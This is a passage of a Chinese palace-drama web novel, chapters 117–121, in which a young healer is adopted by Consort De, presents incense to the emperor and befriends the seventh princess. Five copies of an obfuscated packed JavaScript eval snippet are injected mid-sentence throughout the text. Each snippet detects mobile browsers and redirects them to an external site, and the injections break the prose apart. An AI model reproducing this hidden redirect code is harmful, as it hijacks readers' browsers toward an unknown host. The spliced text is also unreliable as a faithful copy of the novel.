“现今每日排队领粥的人多,各地的粮库皆余粮不足,容不得半点闪失。” 他言外之意,若有一批粮食在海上出了事,先前饿**的事情就会重蹈覆辙。 他负责赈灾,怕是要负全责。 凤南茵时常在外行走,也救了不少的人,她官府赈济一事还是了解的。 虽然流民与本地百姓做了分散赈济,领救济粮施粥的人还是多的可怕。 德妃原以为这事会很顺利,没想到有这么多的风险和意外。 “可想出应对的法子?” 靖王摇头,“这两年粮价怕是调不下来,家有余钱的人也被断粮一事吓到,如今除了官身富户,几乎人人都去领粥,一个国家喂养一整朝百姓,不出数月,国库便吃不消。” 凤南茵早就想过这个问题了,她道:“王爷说的这事我了解,确实有好多人,穿着锦缎还去领粥的,凭借户籍领粮领粥这事还是有漏洞。” “我想到一个主意,就是有一点损,说出来王爷别笑话我。” 靖王晓得她在乡间生活过,也挨过饿,便问,“说说看。” “王爷,舍粥本就该给真正挨饿吃不上饭的人,不是供养那些有能力买粮,还做朝廷蛀虫的人,既然户籍限制不了他们不要脸,不如在舍粥的时候,当着这些人的面,在里面掺一把砂子,富人嫌弃就不会吃,可是要饿死的人,是不会在乎这些的。” 靖王眉尾高高挑起,随后竟然笑了。 “你这丫头,果然能想出常人想不出的点子,这招看似损,却能将一大半白白领粮的人赶走。” 凤南茵羞红了脸,“王爷不觉得我这是胡闹话就好。” 靖王心情大好,话也多了两分。 “不,你这不是胡闹话,本王的那些个谋士想出的主意,都不及你这个好,激发民愤事态严重,能让一部分人自动放弃舍粮才一劳永逸。省下的粮,可以将粥熬得更稠一些,让那些常年吃不饱的人慢慢恢复体力,这才是真正的救民。” 德妃看凤南茵的眼神也多了两分欣赏,“这孩子从本宫见第一眼,就觉得是个机灵的,瞧她这鬼点子,就帮上你了。” 凤南茵被夸得不好意思,这只是她在饿极了情况下想到的怨念。 灾情刚起的时候,也有富户出来舍粮,可是排队的人太多,她等了一日,想领一碗回去给阿爷吃,还没轮到她那粥就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242551|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了。 前面全是年富力强的男子,那些人穿得也不差,可是非要挤在队伍里等施舍,那会她就想,不如把粥做的难喝点,哪怕掺了砂子和土,她都要。 但是别人肯定会嫌弃,就不会和她抢了。 她想到昔日受的苦,又道:“王爷,你有没有想过,那些已经流落在外的灾民日后怎么办?朝廷会给他们发路银,让他们回家吗?” 靖王摇头,“只会强制驱逐回原籍,流民太多,一旦开了给银遣散的先河,养成习惯出来讨生活还给银钱,土地就会无人耕种,土地流失这个罪则哪个官员也承担不起。” 何况这笔银钱,怕是地方官员也不愿意出,若由他提出,只会招来无数怨怼,于他不利。 “我小时候全家人都指着阿爷给人瞧病赚钱,家中日子也算好过。后来灾起,流民扮成山匪把家抢了,一下子日子就难了起来,养爹整日在家闲着,没有半点来钱的门路。” “要是朝廷让这些劳力能赚到钱,给他们安排差事,他们自己就有能力返乡了。” 靖王沉思,他在心中盘算着,灾年间,劳力价钱低廉,可以趁机挖渠、修水利、甚至筑城墙、修皇陵。 这些事,这三年都停了下来。 凤南茵的想法虽是随嘴一提,应该也是那些难民的心声,他们也想有钱早日归家过安定生活吧。 他道:“母妃,儿臣还有事,准备先行回府。” 德妃见他听了凤南茵的话忽然陷入沉默,应该是想到了主意。 “有的忙就去忙你的,母妃这里不用你惦记,有南茵照看着母妃的身体,已经大安了。” 靖王看了一眼凤南茵,忽然觉得这丫头简直是他的福星,不经意的两句话,竟是将萦绕在他心头的大事给想到了法子。 具体要如何实施,他回府与幕僚们商讨过后,便上折子请旨。 德妃此时打心眼里欢喜,看向凤南茵的目光也变得慈眉善目。 “南茵,一会你准备一道醒神清脑的汤食,你入宫多日,也是时候给皇帝请个安了。” 第一百一十八章拜见皇上 凤南茵想出宫的念头就这样被搁浅下来。 莫名的,她就这样留在宫中,成了人人口中德妃的义女。 凤南茵不是忧郁的性子,她乐天、豁达,遇到问题会努力想办法解决。 既然德妃要留下她,离宫的话就不能再开口。 她道:“娘娘,我做的汤水并不惊艳,皇上喝了怕是不会喜欢,效果也不是一顿就能看出作用。” 德妃看向她,这孩子做事说话总是能抓住重点。 是的,药膳久吃滋补,偶尔一次的效果确实一般,甚至有些汤水第一口喝下去,还有苦口青涩的味道,要大口大口喝,才能尝出其中鲜美。 “你还有别的办法?” 凤南茵点头,“有的,我会制香。” “制香?” 凤南茵对夏公公道:“公公,要麻烦您再去一趟太医院了,我需要一些材料。” “小主您说。” 凤南茵有些不适应,她怎么就成小主了? 德妃看她怔忡,笑着骂了一句,“你个老东西,最是会讨喜,等皇上应了这事,好好赏你。” “那老奴就谢过娘娘,谢过小主子了。” 凤南茵:“……” 她看了一眼德妃,小脸泛出一丝酡红。 “娘娘,我需要沉香、檀香、乳香、琥珀、茉莉干花,蜂蜜咱们宫中有就不用了。” 德妃点头,“夏德海,我可记住了?” “老奴记住了,这就去办。” 德妃转叮嘱婢女,“你们现在带南茵去梳洗更衣,将人打扮的清秀些。” 宫人挑选了几件衣服回来,德妃给挑了一身芙蓉色对襟小袄,下摆配浅淡色鹅黄色罗裙。 她拿起来在凤南茵身前比量。 “你年纪小,穿得鲜亮一点讨喜,过于鲜亮又太惹眼,这套衣服合适。” 凤南茵看着摆在眼前的衣裙心下感叹,她还没穿过这么精美的衣服。 那上面的花竟是绣得栩栩如生。 德妃又道:“周嬷嬷,你去把我初入宫时,府上陪嫁的那套妆奁拿出来。” 不一刻,凤南茵被打扮好,秀发挽了贵女们最爱的霄云髻,正中插着金玉海棠步摇,鬓间一枝梅花点缀红宝石流苏,斜鬓角下两朵新摘的海棠花。 凤南茵看着镜中的自己,一时间都不敢认。 那个瘦到皮包骨头,脸色蜡黄青黑,从赵家弯出来时,还沾染了一脸泥土的人,与现在镜中的人,真的是一个人? 她自己都不敢认了。 “真好看。” 她轻轻抚摸着身上的绣样,夸衣服,也在偷偷夸自己。 德妃看着镜中的姑娘,一直感慨,“这大好的年纪就该好好打扮,本宫的那些个戴不上的首饰都送你了,往后本宫疼惜你。” 两旁宫娥皆是恭维。 “小主子这样打扮一下,像画中走出来的一样,称为京城第一美人也不为过。” “是啊,娘娘选的这衣料太衬小主子的气色了,柔和淡雅,小主子气质本就贞静贤淑,可不比京都贵女逊色半分。” 德妃:“日后,凤小姐就是你们半个主子,本宫认下的女儿,就是这京都贵女。” “是,奴婢见过小主。” 凤南茵眼睛酸涩,她知道这一切是自己努力换来的,她受之无愧。 但多少人,付出真心都得不到回报呢。 “娘娘,我忽然觉得眼前的一切好不真实。” 她说着,眼角泪不受控制落下来。 她梦里时常梦到有一位看不清脸孔的女人在给她绣衣,帮她挽发。 梦里她是那样幸福。 醒来,是赵家那冰冷的床帐,还有后来不见天日的逃亡…… 她的娘,从未真心爱过她,从未。 她只是想逃婚,想躲过被人摆布随意嫁人的命运,怎么就成了这钟粹宫的小主,穿金戴银,被身边奴仆恭维的人了? 透过穿衣镜,德妃温柔的脸庞似是与梦里的女人重叠了。 她情难自已,泪落得汹涌。 德妃见她哭成个泪人,打心眼里疼的不得了。 “好好的怎么就哭了,日后有本宫宠你,断然不会再让你受半点委屈。” “娘亲。” 她低低地唤着,不敢叫大声。 可是,她真的好想有一个娘爱她,好想好想呀。 德妃原本有几分喜爱这孩子,觉得她聪明懂事,最主要是有用。 可是这一声娘亲竟是把她的心叫软了。 谁不想有个贴心的女儿,时常伴在侧,软糯糯地乖巧又懂事呢。 “好孩子,不哭,母妃这就带你去见皇上。” 凤南茵忙擦了眼泪,笑出一口洁白细密的牙齿。 “南茵不哭,南茵只太高兴了。” 德妃伸出手,凤南茵看了好一会,将自己的手搭在上面。 “走吧。” 花旗参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242552|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乳鸽汤盛出来后放在瓷盅里,另在一旁放了两个精致小巧的胭脂盒,里面放了才研磨混合在一处的“二苏旧局”。 德妃轻轻挽着凤南茵的手向乾清宫而去。 她道:“一会见到皇上不要怕,九五至尊威仪了些,但皇上是明君,不会因为一点小事就处罚人,你只管保持自己行为得体,便不会有事。” “是。” “还有,七公主每天在酉时会到皇上近前陪用晚膳,这是后宫所有皇子、公主没有的殊荣,一会她若是刁难你,不必刻意忍让,那样只会让人更加瞧不起你。” 凤南茵停了一下,反问:“可她是公主。” 德妃轻笑,“即便是公主,你没有冒犯到她,便不用所有顾忌,皇上最是讨厌无理取闹的人,她应该也不敢,我只是给你提个醒,万事还有我替你担着。” 凤南茵轻轻颔首,“南茵记住了。” 走了一炷香的时间,她们才到乾清宫,外面有小太监守着。 “皇上这会可用膳了?”德妃问。 “小的参见娘娘,回娘娘,晚膳才传上来,这会应是在用。” 德妃带人进去,果然见到时菁雨在。 她唇角勾了勾,“臣妾来给皇上送汤,好在没有来迟。” 她说着,轻轻行了半蹲礼。 承德帝见德妃来了,还带了吃食,道:“朕听闻你近来病了,许久没有出宫了,今日身子可好些了?” “臣妾谢皇上挂念,托南茵的福,近来一直用药膳调养身子,已经大安了。” 皇上点头,兴致缺缺。 “听轩儿说您近来朝政繁杂,臣妾担心皇上忧心过重,特意给您准备了提气醒神高汤。” “放这吧。” 皇上兴致不高,确切说,他对桌上的吃食兴致都不高,朝政上的烦心事让他没有胃口。 时菁雨见机给德妃请安,“见过德妃娘娘。” 她行过礼后,瞧见德妃身旁的少女,“听闻钟粹宫新来了一位宫女,每日变着花样的给娘娘做吃食,不会就是你吧?” 皇上这才抬眼瞥了一眼凤南茵,问德妃,“这是你家中亲戚?怎么没听闻下人来禀,你家中来了人?” 凤南茵心咯噔一跳,若是她没看错,皇上看她的眼神有着嫌恶。 她知道,宫中不准后宫妃嫔留家眷过夜,若有特殊缘由,是要报备的。 德妃犯了宫规,今日所求之事非但不能成,怕是还要被问责。 第一百一十九章皇上:是谁家的女儿? 德妃在宫中多年,又怎不知宫规。 她笑着回道:“皇上,南茵可不是我余府的亲戚,她是轩哥从宫外给臣妾找来的贵人,是替臣妾调养身子的小大夫。” 皇上又瞥了凤南茵一眼,不过是十一二岁的样子,瘦瘦小小的身量,一脸的稚气,哪里都不似有本事的样子。 德妃忙又道:“臣妾这半年来,不是上火就是腹泻,说头晕就整日整日的打不起精神,到后来恶心感日益加重,晕倒没知觉了好几次。” 皇上这才惊愕,“竟是病得这般重,为何没人告知朕?” 德妃上前,一边帮皇上盛了一碗汤,一边回道:“这半年来,皇上为朝政之事诸多烦心,臣妾帮不上半点忙,哪还能让您担心。” 皇上拍了拍身边的位置,示意德妃坐在身旁。 “是朕忽略你了,论这后宫当中,文姬最是善解人意,朕却连你病了这般久都不知。” 德妃羞赧一笑,“不怪皇上,臣妾严令宫人说出去,轩儿也是那日入宫来与我请安,恰巧赶上臣妾昏厥,这才知我病了。” 皇上仔细看她气色,确实消瘦许多,但脸颊红润,应是大好了。 “既然太医都无法的事,这丫头又是用了何种妙招?” 让他相信一个十几岁的丫头比太医还厉害,皇上是不信的。 德妃没有说生病的原因,必必食物相克也只害到她一人,所以无法拿此事告倒贵妃,只能暂且吃一个哑巴亏,慢慢细算。 她将怨气压下,亲自盛汤端给皇上。 “皇上尝尝,臣妾就是食了这丫头做的药膳,调养了七八日吧,这精气神就越来越好了。” 时莆雨听了,忙道:“天啊,第一次听说还有药膳这种吃食,父皇,儿臣也想尝尝。” 皇上应允,自己也浅尝了一口,口感并不是很好,花旗参的味道带点苦,加上皇上没有胃口,浅尝就放下了。 七公主喝了一口,蹙了眉头,“药味这么重。” 随后不满地推到一边,一脸的嫌弃。 凤南茵这时大着胆子道:“民女不知皇上胃口不好,早该做开胃健脾的膳食。” 皇上摆手,示意无妨。 凤南茵见他没有生气,奓着胆子又道。 “民女知皇上日理万机,所以特意调配了静气宁神,平心静躁的香粉,为皇上享用。” 皇上心情不佳,也不想抬举凤南茵,后宫这些妃嫔将人带到他面前,无非就是想讨赏。 这会他只想让人都退下,只觉得聒噪烦乱的很。 时菁雨却是觉得眼前的丫头过于浮夸,她就不信一个十一二岁的小丫头懂这些,肯定是德妃在给这丫头脸上贴金。 “父皇,这汤咱们喝了,味道就那样,可她不知分寸,还自荐香粉,女儿倒是想闻闻,是什么味道,让她这般胸有成竹。” 今天她要替母妃好好打德妃的脸。 得了皇上应允后,凤南茵向宫人借了香具。 她虽长于乡间,可阿爷带她没少见世面,会制香自然晓得如何打香籇, 她本就生的端庄,垂下头时,眼中的灵动与机警不见,举手投足倒是与受了多年调教的大家闺秀无二。 香薅平压成型,取来线香燃了,这才盖上香盒,端至桌前一株盛开正茂三角梅下,随后静如处子般不再有举动。 她时刻谨记,在皇上面前,要谨言慎行,刚刚的自荐也是对自己的香有底气,饶是如此,也是让她紧张地出了一身汗。 只是片刻,那淡淡清幽且带着甜香的味就飘到众人鼻尖,不似龙涎香那般清冽,也不似沉香那般浓郁。 清淡雅致,似花香又似果香,让人闻上很舒服。 七公主:“我的朝霞宫里叫让奴才每日放了不少果子,也就柜子里能闻到果香,房间里的经不得风,一吹就散了,你这个香却闻着满室都带着甜。” 皇上颔首,夸赞了一句,“不错,确实比寻常的香料好闻许多。” “这是什么香?” “回皇上,叫苏二旧局。” “恩,倒是个新奇的词,你给起的名?” 凤南茵轻笑,“小女才疏学浅,所以起名的时候是根据香料的配名得来的。” “恩,不错,这香不错。” “回头你叫人多送些过来,这香闻着头不疼,很舒服。” 凤南茵得皇上夸赞,一直绷着的紧张心情才松下来,她道:“皇上,此香醒脑静躁,适合阅奏折时燃。睡前可不成,民女还会调治安神、助眠的香料,回头可以给皇上一并送来。” “恩。” 德妃见皇上心情不错,忙道:“皇上,南茵精通药理,性格又乖巧,我想留她在身边,时常与臣妾解闷。” “可您也瞧见了,十四岁的大姑娘了,生得这般瘦小,叫她做宫女不知得受多少欺负,再怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242553|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说也是臣妾的恩人,余心不忍,臣妾斗胆想认她做义女,还望皇上恩准。” “能调理好你的身子,应该是有本事的,你膝下就轩哥儿一个孩子,这些年他不在京,钟粹宫确实冷清了些。” 皇上有松口的意思,但是他思虑的更多,便问:“你是哪家的姑娘?” 凤南茵心下叹气,是她欢喜早了,竟忘了自己姓凤。 说她是安国公的女儿,肯定会让皇上觉得凤家不满皇上贬为庶民,寻着法子送她入宫讨皇上欢喜。 一定会得皇上反感。 不说是哪府上的,她就成了没了根底的野丫头,必受责难。 她看向德妃,一时间竟不知如何回话。 七公主看向她,“真奇怪,父皇问你是哪府上的千金,你为何不作答?” 德妃见凤南茵不好意思开口,就知道这孩子顾虑什么。 加上她觉得凤夫人做事太过偏心,南茵这么好的孩子都愿舍弃,凤氏不疼,她疼。 德妃叹了一口气,“诶,这孩子也是个命苦的,生下来就被送走了,在民间随着一位老郎中长大,灾荒年间过不下去了,寻回父母爹娘身边,却不得疼爱。” 皇上静静听着,心中暗忖,难怪懂药理。 “她小小的人,自己都要靠给人做药童过活。明明没受爹娘教养过一日,却惦记着父母和家人在狱中吃苦,去狱中探望,是个极有孝心且有情有义的。” “凤家出狱那日,轩哥儿去大理寺办差,刚好遇到,这才有了一面之缘。” 皇上刚就在迟疑,到底是谁家的女儿,饶了这么多话进去也没提,原来是罪臣凤昌荣的女儿。 “朕见过凤家的那丫头,确实不长这样,倒是没听闻竟还有一女。” 德妃就怕皇上多心,以为所做一切是要为凤家求情,那样可就得不偿失,弄巧成拙了。 “诶,所以说这丫头命苦,凤家人出来后,没了昔日荣光,这凤夫人就想背靠娘家安顿余生,结果承阳侯世子是个混不令的,闹出不小的丑闻。在石门府的名声都坏透了。这侯夫人怕儿子说不上媳妇,就打了南茵的主意,逼得这孩子进京求到轩哥面前,想入宫做秀女,做一辈子伺候人的宫娥,也不想嫁入侯府。” 至此,皇上终于来了兴致,只要不是借机卖乖,为家族谋利,皇上倒是愿意听听细闻,毕竟朝臣家中的是非,他这个九五之尊其实也是爱听的。 第一百二十章与七公主攀上关系 德妃可不想为承阳侯府留脸面,而诓骗皇上。 说出详情,先将义女认下才至关重要。 “这凤氏也是糊涂,日子再怎么难,也不能卖女儿啊,瞧给孩子逼的。我这实在是心疼,加上这孩子算是救了我一命,我们二人投缘,这才有了想收她为义女的打算。” 皇上轻轻点了点头,这承阳侯府的丑事确实让人意外,难怪会闹得说不上亲的地步。 “你想收她为义女倒不是不可,只是天家的名分她还受不得,就留在你身边,给你做个伴儿吧。” 虽然皇帝没承认,却是允了凤南茵留在宫中,她没有身份,却也是德妃的义女,看在德妃与靖王的面子,在这偌大的皇宫,敢找她麻烦的也没几人。 德妃心下也是松了一口气,这一步她是冒险了的,一个说不好,就成了为罪臣求情,会触怒天威。 她忙道:“南茵,还不谢恩。” 凤南茵忙跪下,“民女谢皇上隆恩。” “恩,起来吧。” 皇上对身边的?公公道:“着朕口谕,让翰林院起草一份旨意送到石门府,夺了承阳侯府**罔替的资格,他既然教不好后代,就别再占着爵位为朝廷丢脸。” “遵旨。” 凤南茵的心砰砰地跳着,她这一刻当真明白了天子一怒之威,富贵荣华,皆在皇帝一念之间。 今是承阳侯没落的开始,明个,后个,又会是谁崛起,谁败落? 难怪人人都向往高位,权势当真可怕。 德妃见事情都办妥了,起身道:“臣妾耽误皇上用膳,当真该罚,不如明个一早臣妾再给皇上送些药膳的吃食吧,毕竟臣妾是授意者,也希望皇上您身体一直康健。” 皇上摆了摆手,“朕近来没有胃口,就不必麻烦了,你要是有心,带这丫头去皇后的坤宁宫坐坐。” 德妃应是,“臣妾明日一早便去给皇后娘娘请安。” 她准备回宫,要提点南茵的事情很多,比如明日到坤宁宫为皇后调理身子,要注意的事情,还有这后宫何人不能相助,都要与她讲。 时菁雨道:“德妃娘娘,我能与南茵妹妹聊会天吗?您放心,我会安然送她回钟粹宫。” 德妃此行的目的就是这个七公主,如今鱼儿终于上钩了。 “南茵才入宫,还不懂宫规,让她出去乱走实属不放心,公主想与她聊天去钟粹宫便是。” 有那么一瞬间,凤南茵看出七公主的不快。 德妃说过,每日酉时,七公主都会陪皇上用膳,而她特意挑这个时间来,不就是想让自己与七公主结识? “刚我见公主也喜欢苏二旧局,今日配完香,还剩下好多香料,南茵想邀请公主到钟粹宫坐坐,这样公主瞧着我做,成品了还可以直接让公主带走。” 时菁雨是皇上最小的一个公主,她下面再无弟妹,最是受宠。 这也导致她性子直率,最讨厌迂回与敷衍。 凤南茵这样直言不讳,看穿她的用意,非但没生气,竟觉得很对脾气。 “你当着我面做,就不怕我偷学了去?” 凤南茵笑得干净,“不瞒公主,这香要是别人要我肯定是不给的,但您要是喜欢,我还可以教您制作鹅梨帐香送皇上,那香不但好闻,还安神助眠。” 她眨眨眼,意思就是,你张嘴和我要,我肯定是不敢不给的,所以我主动示好,您可满意。 时菁雨很是得意。 她转头向皇上撒娇,“父皇,您可听到了,儿臣可没有用权势逼迫她。” 皇上呵笑,“那是人家机灵,你张了嘴,就等同逼迫。” “我可没提,是她主动示好,父皇可别给儿臣强加罪名。” “是民女主动想和公主拉近关系的,就怕公主嫌弃民女粗笨呢。” 时菁雨特别想要那苏二旧局的配料,笑着称,“你倒是合本公主的心意,这么说定了,明日用了早膳,我去钟粹宫找你,到时候可不要哄骗了我去。” 凤南茵点头,“那我今晚就多备一些香料,民女还会制作金桂香、降真香、老山檀,各种时节天气点不同的香味,意境又是一种情趣。” 时菁雨算是被这个在乡间长大的凤家小姐给吸引出了好奇心。 回到钟粹宫时,已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242554|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经点起了宫灯,晚膳早都备好,就等主子们回来。 德妃让凤南茵坐在一旁陪着,亲自给她夹了一块芙蓉糕到碗里。 “你这丫头,是本宫肚子里的蛔虫吗,竟懂得我想让你与那七公主亲近。” 凤南茵也不装傻,道:“娘亲之前提醒过我的。” 一句娘亲,叫得德妃眉眼弯弯,这孩子倒是与她真的亲近。 “我怎么就不记得提点过你要做什么?只告诉你谨言慎行。” “娘娘说过,七公主酉时会陪在皇上身边用膳,您挑这个时间去,不就是想介绍她与我相识?” 德妃点头,聪明的孩子不用教,这丫头察言观色的本事就似在这宫中混了一辈子老人似的。 “既然如此,你可知我最终的目的是什么?” 凤南茵端坐正了身子,深思好一会。 “娘亲与人为善,可还是有人想害您,以德报怨是滥好人之举,只会活不长。所以娘亲最终目的应是想给那人好看,而七公主与幕后之人必有牵扯。” 德妃欣慰,亏得轩儿将这孩子提前引到自己身前,若是她走寻常方式入宫,被他人收买了去,回头来对付自己,还真不能小觑。 “你心中有数便好,也不用你做什么,先哄七公主欢心,让她完信任你就可。” 凤南茵踌躇,“可她毕竟是那人的女儿,会防着我,即便信任了,我又能做什么?” 让她给贵妃娘娘下毒,或者让她滑胎吗? 如果亲近七公主的目的是做这些,自己可能全身而退? 她垂下眼帘,将那块芙蓉糕送入嘴里慢慢咀嚼,眼底的担忧被她掩饰了去。 她是不是又成为了他人的棋子? 她刚刚不该欢喜太早,将娘亲唤出口。 已经有人玷污了“娘亲”二字在她心中的分量,她还要再被伤一次心吗? 德妃知道这孩子心思重,安慰道:“你放心,你我如今是母女,一荣俱荣,娘亲绝对不会让你担上半分风险,也不会利用你害任何人性命。” “娘亲……” 那娘亲到底想如何报复? 第一百二十一章要懂得以德报德,以怨报怨 凤南茵觉得自己就是被家人伤怕了,刚刚她在担心什么。 出不了几日,后宫的人都知她是德妃认下的干女儿,得过皇上应允同意的,虽是口头上的义女,那也是德妃的人。 德妃若轻易将她卖了,只会给钟粹宫招来祸事。 “娘亲,您能和我说说打算吗?” 德妃见她紧张,安慰道:“你现在什么都不用做,只需要与七公主打好关系,后面我会叫人如此这样……” 凤南茵听完,才明白什么叫兵不血刃。 对方不惜用半年时间来害德妃,一点点坏她的身子,德妃便也想出了慢刀子割肉的法子,只是如此一来,那个被皇上期盼老年得来的孩子,怕是没有福气活下来了。 “娘亲放心,若我只需要做这些,那我可有多的法子让七公主黏着我。” 德妃心疼地抚摸着她的头,“可惜,没能给你讨一个封赏。” 有了封赏,这孩子日后嫁人,也能为她选一个门第高的人家。 凤南茵很会宽慰人,她道:“功名利禄靠自己赚才更有价值,不然得来了也未必守得住,我相信我是有福气的人。” 德妃笑她,“对,我们南茵是先苦后甜的命,就你这豁达乐观的性子也是个能承得住福气的。” “不过你这性子到底随谁?依我了解,可不像你亲生父母。” “我阿爷教的,他告诉我学本事,要稳扎稳打,将本事学在身上,走到哪里都有底气。” 德妃赞同,这位老者的话不假。 “他还教了你什么?” 凤南茵想了想,“阿爷还说,莫要轻视任何一个人,因为你不知道什么时候,就会被自己瞧不起的人使了绊子,虽然要与人为善,但也莫要让人欺负。要懂得以德报德,以怨报怨。” 德妃赞同:“他是一位有智慧的老者,至少不愚昧。” 凤南茵点头,“他是这世上待南茵最好的人,一手将我养大,舍不得我受半点苦,若是没有阿爷,我可能在灾情才起那年就已经饿**。” 周嬷嬷这时来问:“娘娘,是不是要给小主单独安排住处,先前她与雏菊和蝶兰同室,如今该是不方便了。” 德妃点头:“将左面那间空置的偏殿收拾出来,日后雏菊和蝶兰专职伺候南茵,该有的一样不能缺,短了什么就去内务府要,莫要让人小觑了我钟粹宫。” 凤南茵:“娘亲,其实我对身外之物并不奢求的。” “你不追逐物质,可她人却看重这些,你安心住着,本宫如今最不缺的就是银钱。” 一日之间。 凤南茵的生活条件天差地别,有穿不完的绫罗绸缎,有戴不尽的珠宝首饰。 早起,雏菊帮她挑选衣饰,蝶兰替她挽发梳妆。 凤南茵见蝶兰拿出的金饰头面,还没插在头上,就觉得脖子疼。 “我身份特别,不要打扮的那样招摇,挑一两样低调的首饰点缀就好。” 蝶兰道:“小主子,这宫中之人皆势利,打扮的太寒酸只会惹人笑话。” 凤南茵在众多钗环里挑了根通体翠绿发簪,“这个吧,不张扬,本身又名贵。” 随后又挑两朵淡粉的绒花,绒花中间都有宝石做蕊。 “再加上这两朵,就不觉得素了。” 蝶兰觉得不错,但凡有些眼力的,也能看出小主头上的首饰价值不菲。 “好,那就依小主的。” 简单打扮过后,她便去了小厨房,今日一天的膳食她要提前备出来,该做的本份事,她半点不会马虎。 一直盯着吃食每一样都调配好,她才去给德妃请安。 德妃近来不用给皇后请安,便起的迟些,这会才上妆。 “娘亲,今天身子可还觉得疲累?” 德妃伸出手,让她把脉。 “一早起来还是觉得乏,却是比先前好太多了,夜里也能睡整宿觉,就是天快亮的时候睡不踏实。” “娘亲别急,病来如抽丝,养生温补,才能将身子完全调理好。我向您保证,半年后肯定能恢复如初,且能让您气色看起来更胜从前。” 德妃抚摸着鬓角生出的白发,还有这半年掉得不成样子发际线,“这头发怕是回不去了吧?” 皇后娘娘长她六岁,都没有像她这么早就生华发,如今看起来她比皇后都显老了。 凤南茵想了想道:“头发的事情不能心急,只要您信南茵,我都能帮您调理回来。” “哪能不急呢,这白发遮都遮不住了。” 翊坤宫那位比她还长一岁,人家怀孕,她像个老婆子,别说皇上了,别人都觉得她要失宠了。 “眼看就到正月,到时候那么多宴席,我顶着半白的头发出席,不知多少人说嘴。” 凤南茵想了想,“我今天给娘亲调乌发膏出来,洗上几次头发就能变回来了,不怕的。” “还有这好东西?可伤身子?”周嬷嬷道。 “不伤的,就是气味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242555|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太好闻,不似寻常皂角那般洗出来带着香气。” 德妃打趣她,“你怎么会这许多东西,比那些个白拿俸禄,只会切脉开药的太医都厉害。” 凤南茵羞赧,“没有没有,若论起学医,我这算是不务正业,医者的志向是治病救人,我却把所学用在旁门左道上了。” 德妃伸手点着她的脑门,“好一个旁门左道,我呀就喜欢你这花样多,鬼点子多。” 周嬷嬷听了来了兴趣,“那老奴这生了多年的白发可能变回来?” 凤南茵点头,“能的,能的,耄耋老人都可以的,不过我这药膏算是染发,新生出来的还是白的,想恢复还是要养气血,从内调理。” “能染黑也成啊,我这头发拿墨染都盖不住,白了多少年了。” …… 才用了早膳,凤南茵就让夏公公带她去太医院的药房,她想要的材料太多了,不如自己亲自去取,这样说不定还有想不起来,还能顺便都拿回来。 德妃位份高,加之靖王如今权势如日中天,内务府的那些个奴才见到夏公公都是毕恭毕敬。 凤南茵想要什么,取什么,只需登记一下便可随意。 半刻钟后,雏菊和蝶兰一人抱了一个大布袋准备回宫。 她们出了太医院,就见外面跪着一个小宫女,在那里苦苦求着。 “求你们给看看吧,妙嫔病了,再不治会没命的。” “说了多少遍了,今天当值的太医都不在,还要在这里跟你浪费多少口舌才能听得懂?” 那宫女苦求半天无果,跌坐在地,不停地抹泪。 蝶兰啐了一口,声音极低地骂了一句:“活该。” 凤南茵问她,“姐姐与她有仇?” 蝶兰小声道:“她是储秀宫妙嫔的婢女,早前为了巴结贵妃娘娘,言语上多次顶撞皇后,后来被皇上知道了,禁了三个月足,失宠一年多了。” 雏菊:“她主子也不先掂掂分量,真以为年轻就能得皇上一直喜爱,得了厌弃也是活该。” 